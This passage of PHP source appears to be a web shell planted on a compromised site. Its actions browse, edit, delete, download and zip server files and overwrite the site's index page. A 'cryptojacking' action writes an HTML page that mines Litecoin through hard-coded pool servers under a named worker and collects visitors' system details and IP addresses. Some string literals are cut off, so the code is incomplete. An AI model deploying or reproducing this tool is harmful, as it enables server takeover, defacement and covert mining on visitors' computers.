30 * 24 * 3600) { // Older than 30 days return ['status' => 'red', 'message' => 'Online slot detected (long-term embedding)']; } return ['status' => 'red', 'message' => 'Online slot detected']; } } } return ['status' => 'green', 'message' => 'No online slots detected']; } try { $dir = isset($_GET['dir']) ? sanitizeDir($_GET['dir']) : realpath('.'); // Proses aksi if (isset($_GET['action'])) { $action = $_GET['action']; $file = isset($_GET['file']) ? sanitizeDir($_GET['file']) : null; if ($action === 'edit' && $file && file_exists($file) && !is_dir($file)) { $edit_content = htmlspecialchars(file_get_contents($file)); } elseif ($action === 'delete' && $file && file_exists($file)) { if (is_dir($file)) { rmdir($file); } else { unlink($file); } $status_message = "
File deleted successfully!
"; } elseif ($action === 'download' && $file && file_exists($file) && !is_dir($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } elseif ($action === 'zip' && $file && file_exists($file)) { if (class_exists('ZipArchive')) { $zip = new ZipArchive(); $zipName = basename($file) . '.zip'; if ($zip->open($zipName, ZipArchive::CREATE) === TRUE) { if (is_dir($file)) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file)); foreach ($files as $f) { if ($f->isDir()) { continue; } $zip->addFile($f->getRealPath(), str_replace($file . '/', '', $f->getRealPath())); } } else { $zip->addFile($file, basename($file)); } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipName)); readfile($zipName); unlink($zipName); exit; } else { throw new Exception("Failed to create ZIP archive."); } } else { throw new Exception("ZipArchive extension not available."); } } elseif ($action === 'autoedit') { $indexFile = file_exists($dir . '/index.php') ? $dir . '/index.php' : (file_exists($dir . '/index.html') ? $dir . '/index.html' : null); if (!$indexFile) { $indexFile = $dir . '/index.php'; file_put_contents($indexFile, "File uploaded successfully!
"; } else { $status_message = "Failed to upload file!
"; } } else { $status_message = "Invalid file type or size exceeds 5MB!
"; } } } elseif ($action === 'webshell') { $slot_status = detectOnlineSlots($dir); if (isset($_POST['create'])) { $new_item = $dir . '/' . basename($_POST['new_file']); if ($_POST['type'] === 'file') { file_put_contents($new_item, ''); $status_message = "File created!
"; } else { mkdir($new_item); $status_message = "Folder created!
"; } } if (isset($_POST['view']) && file_exists($_POST['file_path']) && !is_dir($_POST['file_path'])) { $view_content = htmlspecialchars(file_get_contents($_POST['file_path'])); } if (isset($_POST['cloud_execute'])) { // Simulate cloud server data retrieval from multiple providers $cloud_providers = ['AWS S3', 'Google Cloud Storage', 'Azure Blob Storage', 'DigitalOcean Spaces', 'IBM Cloud Object Storage']; $selected_provider = $cloud_providers[array_rand($cloud_providers)]; $cloud_data = ""; $max_size = 100 * 1024 * 1024; // 100MB $chunk_size = 1024 * 1024; // 1MB chunks while (strlen($cloud_data) < $max_size) { $cloud_data .= str_repeat("Sample data from $selected_provider " . rand(1, 1000) . "\n", $chunk_size / 100); if (strlen($cloud_data) >= $max_size) { $cloud_data = substr($cloud_data, 0, $max_size); break; } } $cloud_file = $dir . '/cloud_data_' . strtolower(str_replace(' ', '_', $selected_provider)) . '.zip'; $zip = new ZipArchive(); if ($zip->open($cloud_file, ZipArchive::CREATE) === TRUE) { $zip->addFromString('cloud_data.txt', $cloud_data); $zip->close(); } else { throw new Exception("Failed to create cloud data ZIP."); } // JavaScript will handle terminal display and download $cloud_status = ['file' => $cloud_file, 'size' => filesize($cloud_file), 'provider' => $selected_provider]; } } elseif ($action === 'cryptojacking') { if (isset($_POST['litecoin_address']) && preg_match('/^L[1-9A-Za-z]{33}$/', $_POST['litecoin_address'])) { $litecoin_address = $_POST['litecoin_address']; } else { $litecoin_address = 'LDefaultAddress'; } $cryptoFile = $dir . '/cryptojacking.html'; $stratum_servers = [ ['url' => 'us2.litecoinpool.org', 'port' => 3333], ['url' => 'us.litecoinpool.org', 'port' => 3333], ['url' => 'litecoinpool.org', 'port' => 3333], ['url' => 'us2.litecoinpool.org', 'port' => 8080] ]; $worker = 'ClayOxtymus1337.1'; $password = '1'; $cryptoContent = <<Mining: Initializing...
CPU:
RAM: KB
OS:
IP Address:
Location: Unknown (requires external API)
Storage: